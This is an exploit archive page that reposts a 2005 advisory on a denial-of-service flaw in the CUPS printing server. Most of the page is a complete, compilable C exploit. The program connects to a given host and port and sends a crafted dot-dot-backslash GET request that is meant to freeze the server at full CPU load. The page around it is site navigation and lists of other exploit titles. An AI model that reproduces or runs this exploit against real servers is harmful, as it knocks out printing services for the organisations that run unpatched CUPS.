首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CUPS Dot-Slash DoS
来源:tracewar@gmail.com 作者:tracewar 发布时间:2005-09-08  

CUPS Dot-Slash DoS

Summary
"CUPS: Common UNIX Printing System is the definitive guide to the Common UNIX Printing System."

Lack of proper content validation allows attackers to cause a DoS in CUPS Server by sending it a malfromed request.

Credit:
The information has been provided by tracewar.

Details
Exploit:
/* dl-cups.c v0.1
* CUPS server freeze and processor load "fuckup" exploit
* bug found and exploit coded by tracewar (darklogic team)
* for educaional purposes only.
*********************************
* greetz goes to:
* setuid, matan.
*/
// Fixed exploit to compile, was missing include files and proper function usage - Noam

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>

char EVIL[] = "\x2e\x2e\x5c\x2e\x2e";

void usage(char *argv0) {
fprintf(stdout, "cups/1.x server freeze and remote cpu usage fuckup\n");
fprintf(stdout, "exploit coded and bug found by tracewar of darklogic\n\n");
fprintf(stdout, "usage: %s remote_host remote_port\n", argv0);
exit(0);
}

int main(int argc, char *argv[]) {
char buffer[50] = "GET /";
int sock;
struct sockaddr_in serv_addr;
struct hostent *crap;

if(argc != 3)
usage(argv[0]);

printf("# Making our evil buffer... ");
snprintf(&buffer[5], 47, "%s", EVIL);
strcat(buffer, "\r\n");
printf("(done)\n");

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return printf("# error creating socket.\n");
crap = gethostbyname(argv[1]);
if(crap == NULL)
return printf("# cant resolve the specified hostname: %s\n", argv[1]);
else
printf("# connecting to victim... ");

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[2]));
bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[2]));

printf("(done)\n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("\n# error while sending the crafted string.!\n");
close(sock);
return puts("(done)\n# The server should be frozen now with 100\% cpu usage.");

}
/* EoF */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows keybd_event
·Man2web CGI Command Execution
·MS05-018 windows CSRSS.EXE Sta
·ZipTorrent Local Information D
·P2P Pro Command DoS
·USB Lock Auto-Protect Locally
·FREE SMTP Open Relay Vulnerabi
·GNU Mailutils imap4d search Co
·SimpleProxy Local Format Strin
·Raxnet Cacti graph_image.php R
·phpLDAPadmin Command Execution
·Snort <= 2.4.0 SACK TCP Opt
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved